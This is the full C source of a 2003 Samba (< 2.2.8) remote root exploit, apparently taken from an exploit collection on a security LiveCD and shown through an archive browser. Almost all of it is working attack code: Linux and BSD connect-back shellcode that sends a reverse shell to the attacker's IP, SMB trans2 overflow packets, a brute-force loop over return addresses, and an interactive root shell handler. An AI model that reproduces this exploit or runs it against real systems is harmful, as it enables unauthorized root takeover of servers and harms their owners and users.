home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / sambal2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  21KB  |  779 lines
  1. /*
  2.  *  Samba Remote Root Exploit by Schizoprenic from Xnuxer-Labs, 2003.
  3.  *  Using connect back method and brute force mode.
  4.  *  I just create & modify some code and ripped too :P 
  5.  *  Create on May, 12st 2003
  6.  *
  7.  *  Thanks to eDSee (netric.org), Sambal is nice exploit bro...
  8.  *  References: trans2root.pl, 0x333hate.c, sambal.c
  9.  *  This code just for eduction purpose 
  10.  *
  11.  *  XNUXER RESEARCH LABORATORY
  12.  *  Official Site: http://infosekuriti.com
  13.  *  Contact Email: xnuxer@yahoo.com, xnuxer@hackermail.com
  14.  */
  15.  
  16. #include <stdio.h>
  17. #include <string.h>
  18. #include <stdlib.h>
  19. #include <netdb.h>
  20. #include <errno.h>
  21. #include <fcntl.h>
  22. #include <signal.h>
  23. #include <string.h>
  24. #include <unistd.h>
  25. #include <sys/stat.h>
  26. #include <sys/select.h>
  27. #include <sys/socket.h>
  28. #include <sys/types.h>
  29. #include <sys/time.h>
  30. #include <sys/wait.h>
  31. #include <netinet/in.h>
  32. #include <arpa/inet.h>
  33.  
  34. char
  35. linux_connect_back[] =
  36.     /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
  37.     "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
  38.     "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  39.     "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  40.     "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  41.     "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68"
  42.     "\x2d\x63\x89\xe3\x50\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50"
  43.     "\x89\xe1\x31\xc0\x50\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68"
  44.     "\x54\x45\x52\x4d\x89\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73"
  45.     "\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc0\xb0"
  46.     "\x01\xcd\x80"
  47.  
  48.     /* connect back shellcode (port=0xb0ef) */
  49.     "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
  50.     "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
  51.     "\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
  52.     "\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
  53.     "\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
  54.     "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
  55.     "\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
  56.     "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
  57.     "\x01\xcd\x80";
  58.  
  59. char
  60. bsd_connect_back[] =
  61.     /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
  62.     "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
  63.     "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  64.     "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  65.     "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  66.     "\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68\x2d\x63\x89\xe3\x50"
  67.     "\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50\x89\xe1\x31\xc0\x50"
  68.     "\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68\x54\x45\x52\x4d\x89"
  69.     "\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
  70.     "\x69\x89\xe3\x50\x52\x51\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0"
  71.     "\x01\xcd\x80"
  72.  
  73.     /* connect back shellcode (port=0xb0ef) */
  74.     "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
  75.     "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
  76.     "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
  77.     "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
  78.     "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
  79.     "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
  80.     "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
  81.     "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
  82.  
  83. typedef struct {
  84.     unsigned char type;
  85.     unsigned char flags;
  86.     unsigned short length;
  87. } NETBIOS_HEADER;
  88.  
  89. typedef struct {
  90.     unsigned char protocol[4];
  91.     unsigned char command;
  92.     unsigned short status;
  93.     unsigned char reserved;
  94.     unsigned char  flags;
  95.     unsigned short flags2;
  96.     unsigned char  pad[12];
  97.     unsigned short tid;
  98.     unsigned short pid;
  99.     unsigned short uid;
  100.     unsigned short mid;
  101. } SMB_HEADER;
  102.  
  103. pid_t childs[50];
  104. int LOOP = 1;
  105. struct sockaddr_in serv_addr;
  106. int sock_listen, client;
  107. int exploit_pid;
  108. int listen_pid;
  109. int port_listen = 45295;
  110.  
  111. void 
  112. usage(char *prog) 
  113. {
  114. int i;
  115.  
  116.    fprintf(stdout, "Samba < 2.2.8 Remote Root exploit by Schizoprenic\n"
  117.                    "Connect back method, Xnuxer-Labs, 2003.\n"
  118.                    "Usage  : %s <type> <victim> <your_ip>\n"
  119.                    "Targets:\n"
  120.                    "         0 = Linux\n"
  121.                    "         1 = FreeBSD/NetBSD\n"
  122.                    "         2 = OpenBSD 3.0 and prior\n"
  123.                    "         3 = OpenBSD 3.2 - non-exec stack\n\n", prog);      
  124.    exit(1);
  125. }
  126.  
  127. int 
  128. Connect(int fd, char *ip, unsigned int port, unsigned int time_out) 
  129. {
  130.     /* ripped from no1 */
  131.  
  132.     int                      flags;
  133.     int                      select_status;
  134.     fd_set                   connect_read, connect_write;
  135.     struct timeval           timeout;
  136.     int                      getsockopt_length = 0;
  137.     int                      getsockopt_error = 0;
  138.     struct sockaddr_in       server;
  139.     bzero(&server, sizeof(server));
  140.     server.sin_family = AF_INET;
  141.     inet_pton(AF_INET, ip, &server.sin_addr);
  142.     server.sin_port = htons(port);
  143.  
  144.     if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
  145.         close(fd);
  146.             return -1;
  147.       }
  148.   
  149.     if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  150.         close(fd);
  151.             return -1;
  152.       }
  153.       
  154.     timeout.tv_sec = time_out;
  155.     timeout.tv_usec = 0;
  156.     FD_ZERO(&connect_read);
  157.     FD_ZERO(&connect_write);
  158.     FD_SET(fd, &connect_read);
  159.     FD_SET(fd, &connect_write);
  160.  
  161.     if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
  162.         if(errno != EINPROGRESS) {
  163.                   close(fd);
  164.                   return -1;
  165.             }
  166.       }
  167.     else {
  168.         if(fcntl(fd, F_SETFL, flags) < 0) {
  169.             close(fd);
  170.                   return -1;
  171.             }
  172.             
  173.         return 1;
  174.  
  175.     }
  176.  
  177.     select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);
  178.  
  179.     if(select_status == 0) {
  180.         close(fd);
  181.         return -1;
  182.  
  183.     }
  184.  
  185.     if(select_status == -1) {
  186.         close(fd);
  187.         return -1;
  188.     }
  189.  
  190.     if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
  191.         if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write)) {
  192.             getsockopt_length = sizeof(getsockopt_error);
  193.  
  194.             if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length) < 0) {
  195.                 errno = ETIMEDOUT;
  196.                 close(fd);
  197.                 return -1;
  198.             }
  199.  
  200.             if(getsockopt_error == 0) {
  201.                 if(fcntl(fd, F_SETFL, flags) < 0) {
  202.                     close(fd);
  203.                     return -1;
  204.                 }
  205.                 return 1;
  206.                 } 
  207.  
  208.             else {
  209.                 errno = getsockopt_error;
  210.                 close(fd);
  211.                 return (-1);
  212.                 }
  213.  
  214.             }
  215.         }
  216.     else {
  217.         close(fd);
  218.         return 1;
  219.     }
  220.  
  221.     if(fcntl(fd, F_SETFL, flags) < 0) {
  222.         close(fd);
  223.         return -1;
  224.     }
  225.     return 1;
  226. }
  227.  
  228. int 
  229. read_timer(int fd, unsigned int time_out)
  230. {
  231.  
  232.     /* ripped from no1 */
  233.  
  234.     int                      flags;
  235.     int                      select_status;
  236.     fd_set                   fdread;
  237.     struct timeval           timeout;
  238.  
  239.     if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
  240.         close(fd);
  241.         return (-1);
  242.     }
  243.  
  244.     if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  245.         close(fd);
  246.         return (-1);
  247.     }
  248.  
  249.     timeout.tv_sec = time_out;
  250.     timeout.tv_usec = 0;
  251.     FD_ZERO(&fdread);
  252.     FD_SET(fd, &fdread);
  253.     select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);
  254.  
  255.     if(select_status == 0) {
  256.         close(fd);
  257.         return (-1);
  258.     }
  259.  
  260.     if(select_status == -1) {
  261.         close(fd);
  262.         return (-1);
  263.     }
  264.   
  265.     if(FD_ISSET(fd, &fdread)) {
  266.   
  267.           if(fcntl(fd, F_SETFL, flags) < 0) {
  268.             close(fd);
  269.                   return -1;
  270.             }
  271.             
  272.         return 1;
  273.     
  274.     } 
  275.     else {
  276.         close(fd);
  277.         return 1;
  278.  
  279.     }
  280. }
  281.  
  282. int
  283. write_timer(int fd, unsigned int time_out)
  284. {
  285.  
  286.     /* ripped from no1 */
  287.  
  288.     int                      flags;
  289.     int                      select_status;
  290.     fd_set                   fdwrite;
  291.     struct timeval           timeout;
  292.  
  293.     if((flags = fcntl(fd, F_GETFL, 0)) < 0) {    
  294.         close(fd);
  295.         return (-1);
  296.     }
  297.     
  298.     if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  299.         close(fd);
  300.         return (-1);
  301.       }
  302.       
  303.     timeout.tv_sec = time_out;
  304.     timeout.tv_usec = 0;
  305.     FD_ZERO(&fdwrite);
  306.     FD_SET(fd, &fdwrite);
  307.  
  308.     select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);
  309.  
  310.     if(select_status == 0) {
  311.         close(fd);
  312.         return -1;
  313.     }
  314.     
  315.     if(select_status == -1) {
  316.         close(fd);
  317.         return -1;
  318.     }
  319.  
  320.     if(FD_ISSET(fd, &fdwrite)) {
  321.         if(fcntl(fd, F_SETFL, flags) < 0) {
  322.             close(fd);
  323.             return -1;
  324.         }
  325.         return 1;
  326.     }
  327.     else { 
  328.         close(fd);
  329.         return -1;
  330.     }
  331. }
  332.  
  333. int 
  334. start_session(int sock)
  335. {
  336.     char buffer[1000];
  337.     char response[4096];
  338.     char session_data1[]     = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";
  339.         char session_data2[]     = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64\x79"
  340.                           "\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
  341.     
  342.         NETBIOS_HEADER  *netbiosheader;
  343.         SMB_HEADER      *smbheader;
  344.  
  345.     memset(buffer, 0x00, sizeof(buffer));
  346.  
  347.         netbiosheader   = (NETBIOS_HEADER *)buffer;
  348.         smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
  349.  
  350.         netbiosheader->type     = 0x00;         /* session message */
  351.         netbiosheader->flags     = 0x00;
  352.         netbiosheader->length     = htons(0x2E);
  353.  
  354.         smbheader->protocol[0]     = 0xFF;
  355.         smbheader->protocol[1]     = 'S';
  356.         smbheader->protocol[2]     = 'M';
  357.         smbheader->protocol[3]     = 'B';
  358.         smbheader->command     = 0x73;         /* session setup */
  359.         smbheader->flags     = 0x08;         /* caseless pathnames */
  360.         smbheader->flags2     = 0x01;         /* long filenames supported */
  361.         smbheader->pid         = getpid() & 0xFFFF;
  362.     smbheader->uid          = 100;
  363.         smbheader->mid         = 0x01;
  364.  
  365.         memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1, sizeof(session_data1) - 1);
  366.  
  367.     if(write_timer(sock, 3) == 1)
  368.         if (send(sock, buffer, 50, 0) < 0) return -1;
  369.  
  370.     memset(response, 0x00, sizeof(response));
  371.  
  372.     if (read_timer(sock, 3) == 1)
  373.         if (read(sock, response, sizeof(response) - 1) < 0) return -1;
  374.     
  375.         netbiosheader = (NETBIOS_HEADER *)response;
  376.         smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
  377.  
  378.     //if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session message\n");
  379.  
  380.         netbiosheader   = (NETBIOS_HEADER *)buffer;
  381.         smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
  382.  
  383.         memset(buffer, 0x00, sizeof(buffer));
  384.  
  385.         netbiosheader->type     = 0x00;         /* session message */
  386.         netbiosheader->flags    = 0x00;
  387.         netbiosheader->length   = htons(0x3C);
  388.  
  389.         smbheader->protocol[0]  = 0xFF;
  390.         smbheader->protocol[1]  = 'S';
  391.         smbheader->protocol[2]  = 'M';
  392.         smbheader->protocol[3]  = 'B';
  393.         smbheader->command      = 0x70;         /* start connection */
  394.     smbheader->pid          = getpid() & 0xFFFF;
  395.     smbheader->tid        = 0x00;
  396.         smbheader->uid          = 100;
  397.  
  398.     memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2) - 1);
  399.  
  400.         if(write_timer(sock, 3) == 1)
  401.                 if (send(sock, buffer, 64, 0) < 0) return -1;
  402.  
  403.         memset(response, 0x00, sizeof(response));
  404.  
  405.         if (read_timer(sock, 3) == 1)
  406.                 if (read(sock, response, sizeof(response) - 1) < 0) return -1;
  407.  
  408.         netbiosheader = (NETBIOS_HEADER *)response;
  409.         smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
  410.  
  411.         if (netbiosheader->type != 0x00) return -1;
  412.  
  413.         return 0;
  414. }
  415.  
  416. int
  417. exploit_normal(int sock, unsigned long ret, char *shellcode)
  418. {
  419.  
  420.     char buffer[4000];
  421.         char exploit_data[] =
  422.                 "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  423.                 "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
  424.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  425.                 "\x00\x00\x00\x90";
  426.  
  427.     int i = 0;
  428.     unsigned long dummy = ret - 0x90;
  429.  
  430.         NETBIOS_HEADER  *netbiosheader;
  431.         SMB_HEADER      *smbheader;
  432.  
  433.     memset(buffer, 0x00, sizeof(buffer));
  434.  
  435.         netbiosheader   = (NETBIOS_HEADER *)buffer;
  436.         smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
  437.  
  438.         netbiosheader->type             = 0x00;         /* session message */
  439.         netbiosheader->flags            = 0x04;
  440.         netbiosheader->length           = htons(2096);
  441.  
  442.         smbheader->protocol[0]          = 0xFF;
  443.         smbheader->protocol[1]          = 'S';
  444.         smbheader->protocol[2]          = 'M';
  445.         smbheader->protocol[3]          = 'B';
  446.         smbheader->command              = 0x32;         /* SMBtrans2 */
  447.     smbheader->tid            = 0x01;
  448.         smbheader->uid                  = 100;
  449.  
  450.     memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);
  451.  
  452.     buffer[1096] = 0xEB;
  453.     buffer[1097] = 0x70;
  454.  
  455.     for (i = 0; i < 4 * 24; i += 8) {
  456.         memcpy(buffer + 1099 + i, &dummy, 4);
  457.         memcpy(buffer + 1103 + i, &ret,   4);
  458.     }
  459.  
  460.         memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), 
  461.             exploit_data, sizeof(exploit_data) - 1);
  462.     memcpy(buffer + 1800, shellcode, strlen(shellcode));
  463.  
  464.     if(write_timer(sock, 3) == 1) {
  465.         if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
  466.         return 0;
  467.     }
  468.  
  469.     return -1;
  470. }
  471.  
  472. int
  473. exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
  474. {
  475.         char buffer[4000];
  476.  
  477.         char exploit_data[] =
  478.                 "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  479.                 "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  480.                 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  481.                 "\x00\x00\x00\x90";
  482.  
  483.         int i = 0;
  484.         unsigned long dummy = ret - 0x30;
  485.         NETBIOS_HEADER  *netbiosheader;
  486.         SMB_HEADER      *smbheader;
  487.  
  488.         memset(buffer, 0x00, sizeof(buffer));
  489.  
  490.         netbiosheader   = (NETBIOS_HEADER *)buffer;
  491.         smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
  492.  
  493.         netbiosheader->type             = 0x00;         /* session message */
  494.         netbiosheader->flags            = 0x04;
  495.         netbiosheader->length           = htons(2096);
  496.  
  497.         smbheader->protocol[0]          = 0xFF;
  498.         smbheader->protocol[1]          = 'S';
  499.         smbheader->protocol[2]          = 'M';
  500.         smbheader->protocol[3]          = 'B';
  501.         smbheader->command              = 0x32;         /* SMBtrans2 */
  502.         smbheader->tid                  = 0x01;
  503.         smbheader->uid                  = 100;
  504.  
  505.         memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);
  506.  
  507.     for (i = 0; i < 4 * 24; i += 4)
  508.         memcpy(buffer + 1131 + i, &dummy, 4);
  509.         
  510.         memcpy(buffer + 1127, &ret,      4);
  511.  
  512.         memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
  513.                         exploit_data, sizeof(exploit_data) - 1);
  514.  
  515.         memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));
  516.  
  517.         if(write_timer(sock, 3) == 1) {
  518.                 if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
  519.                 return 0;
  520.         }
  521.  
  522.         return -1;
  523. }
  524.  
  525.  
  526. void shell(int sock)
  527. {
  528.  fd_set  fd_read;
  529.  char buff[1024], *cmd="uname -a;id;\n";
  530.  int n;
  531.  
  532.  send(sock, cmd, strlen(cmd), 0);
  533.  
  534.  while(1) {
  535.   FD_SET(sock,&fd_read);
  536.   FD_SET(0,&fd_read);
  537.  
  538.   if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
  539.  
  540.   if( FD_ISSET(sock, &fd_read) ) {
  541.    n=read(sock,buff,sizeof(buff));
  542.    if (n == 0) {
  543.        printf ("Connection closed.\n");
  544.        exit(EXIT_FAILURE);
  545.    } else if (n < 0) {
  546.        perror("read remote");
  547.        exit(EXIT_FAILURE);
  548.    }
  549.    write(1,buff,n);
  550.   }
  551.  
  552.   if ( FD_ISSET(0, &fd_read) ) {
  553.     if((n=read(0,buff,sizeof(buff)))<=0){
  554.       perror ("read user");
  555.       exit(EXIT_FAILURE);
  556.     }
  557.     write(sock,buff,n);
  558.   }
  559.  }
  560.  close(sock); 
  561. }
  562.  
  563. void GoAway() 
  564. {
  565.    exit(0);
  566. }
  567.  
  568. void start_listen()
  569. {
  570. FILE *fstat;
  571. int cpid;
  572.    
  573. LISTENER:
  574.  
  575.   bzero(&serv_addr, sizeof(serv_addr));
  576.   serv_addr.sin_family=2;
  577.   serv_addr.sin_addr.s_addr=0;
  578.   serv_addr.sin_port=htons(port_listen); 
  579.   sock_listen=socket(2,1,6);
  580.  
  581.   if(bind(sock_listen,(struct sockaddr *)&serv_addr,16)) 
  582.   {   
  583.       port_listen++;
  584.       goto LISTENER;       
  585.   }
  586.    
  587.   if(listen(sock_listen,1)) 
  588.   {
  589.       perror("listen");
  590.       exit(1);
  591.   }
  592.    
  593.   fprintf(stdout, "[+] Listen on port: %d\n",port_listen);
  594.    
  595.   cpid = fork();
  596.  
  597.   if (cpid) {
  598.      client=accept(sock_listen,0,0);
  599.      LOOP = 0;
  600.      kill(SIGUSR2, exploit_pid);
  601.      if (client > 0) {
  602.         fprintf(stdout, "[+] Yeah, I have a root ....!\n"
  603.                       "------------------------------\n");
  604.         fstat=fopen(".ROOT", "a");  //needed by mass.c
  605.         fclose(fstat);
  606.         shell(client);
  607.      }
  608.      exit(0);
  609.   }
  610. }
  611.  
  612. int
  613. main (int argc,char *argv[])
  614. {
  615.    char *shellcode = NULL;
  616.    int typeos    = -1;
  617.    int port        = 139;
  618.    int sock        = 0;
  619.    int i        = 0;
  620.    int status    = 0;
  621.    int m        = 0;
  622.    int ip1        = 0;
  623.    int ip2        = 0;
  624.    int ip3        = 0;
  625.    int ip4        = 0;
  626.    int sta        = 0;
  627.    int STEPS    = 512;
  628.    int ENDLOOP    = 64;
  629.    char *desc; 
  630.    unsigned long MAX_CHILDS  = 40;
  631.    unsigned long ret         = 0x0;
  632.    unsigned short int  a_port;
  633.    struct sockaddr_in addr1;
  634.    struct hostent *he;
  635.    struct stat st;
  636.    
  637.       if (argc != 4) usage(argv[0]);
  638.    
  639.       typeos = atoi(argv[1]);
  640.       if (typeos > 3) {
  641.           fprintf(stdout, "Os type out of list!\n");
  642.           exit(1);
  643.       }
  644.  
  645.       he = gethostbyname(argv[2]);
  646.  
  647.       if (he == NULL) {
  648.           fprintf(stderr, "Unable to resolve\n");
  649.           return -1;
  650.       }
  651.  
  652.       listen_pid = getpid();
  653.       start_listen();
  654.       exploit_pid = listen_pid + 1;
  655.  
  656.       //fprintf(stdout, "[+] Listen pid: %d, exploit pid: %d\n", listen_pid,exploit_pid);
  657.  
  658.       sscanf(argv[3], "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);        
  659.       linux_connect_back[171] = ip1; bsd_connect_back[162] = ip1;
  660.       linux_connect_back[172] = ip2; bsd_connect_back[163] = ip2;
  661.       linux_connect_back[173] = ip3; bsd_connect_back[164] = ip3;
  662.       linux_connect_back[174] = ip4; bsd_connect_back[165] = ip4;
  663.                 
  664.       fprintf(stdout, "[+] Connecting back to: [%d.%d.%d.%d:%d]\n", 
  665.                     ip1, ip2, ip3, ip4, port_listen);
  666.  
  667.       a_port = htons(port_listen);
  668.       
  669.       linux_connect_back[177]= (a_port) & 0xff;
  670.       linux_connect_back[178]= (a_port >> 8) & 0xff;
  671.       bsd_connect_back[168]= (a_port) & 0xff;
  672.       bsd_connect_back[169]= (a_port >> 8) & 0xff;
  673.  
  674.       switch(typeos) {
  675.       case 0:
  676.               desc = "Linux";
  677.               ret = 0xc0000000;
  678.               shellcode = linux_connect_back;
  679.               break;
  680.       case 1:
  681.               desc = "FreeBSD/NetBSD";
  682.               ret = 0xbfc00000;
  683.               shellcode = bsd_connect_back;
  684.               break;
  685.       case 2:
  686.               desc = "OpenBSD 3.1 and prior";
  687.               ret = 0xdfc00000;
  688.               shellcode = bsd_connect_back;
  689.               break;
  690.       case 3:
  691.               desc = "OpenBSD 3.2 non-exec stack";
  692.               ret = 0x00170000;
  693.               shellcode = bsd_connect_back;
  694.               break;
  695.       }
  696.  
  697.       fprintf(stdout, "[+] Target: %s\n", desc);
  698.       memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
  699.  
  700.       addr1.sin_family = AF_INET;
  701.       addr1.sin_port     = htons(port);    
  702.  
  703.       fprintf(stdout, "[+] Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr), port);
  704.       fprintf(stdout, "[+] Please wait in seconds...!\n");
  705.  
  706.       signal(SIGUSR2, GoAway);
  707.    
  708.       for (i = 0; i < 50; i++) childs[i] = -1;
  709.       i = 0; m = 0;
  710.  
  711.       while (LOOP) {
  712.  
  713.            if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
  714.               fprintf(stderr, "[+] socket() error.\n");
  715.               exit(-1);
  716.            }
  717.  
  718.            ret -= STEPS; i++;
  719.            if ((ret & 0xff) == 0x00 && typeos != 3) ret++;             
  720.  
  721.            m++; 
  722.            //fflush(0);
  723.            //fprintf(stdout, "[+] Return Address: 0x%08x [%02d]\n", (unsigned int)ret, m);
  724.  
  725.            usleep(150000);
  726.  
  727.            switch (childs[i] = fork()) {
  728.            case 0:  
  729.                   if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -1) { 
  730.                       //fprintf(stderr, "[+] connect() error.\n");
  731.                       close(sock);
  732.                       exit(-1);
  733.                   }
  734.             
  735.                  start_session(sock);
  736.                  sleep(3);
  737.                               
  738.                  if (typeos != 3) {
  739.                            if (exploit_normal(sock, ret, shellcode) < 0) {
  740.                               //fprintf(stderr, " -> Failed.\n");
  741.                               close(sock);
  742.                               exit(-1);
  743.                            }
  744.                  } else {
  745.                            if (exploit_openbsd32(sock, ret, shellcode) < 0) {
  746.                               //fprintf(stderr, " -> Failed.\n");
  747.                               close(sock);
  748.                               exit(-1);
  749.                            }
  750.                   }
  751.                   sleep(5);
  752.                   close(sock);
  753.                   exit(0);
  754.                   break;
  755.            case -1:
  756.                   exit(-1);
  757.                   break;
  758.            default:
  759.                   if (i > MAX_CHILDS - 2) {
  760.                       wait(&status);
  761.                       i--;
  762.                   }
  763.                   break;
  764.            } 
  765.  
  766.            if (m == ENDLOOP) LOOP = 0;
  767.       }        
  768.  
  769.       if (stat(".ROOT", &st) != -1) 
  770.          kill(SIGUSR2, listen_pid);
  771.       else {    
  772.            fprintf(stdout, "[+] Dohh, exploit failed.\n");
  773.        close(client); close(sock_listen);
  774.            kill(listen_pid, SIGUSR2);
  775.        sleep(2);
  776.        exit(0);
  777.       }
  778. }
  779.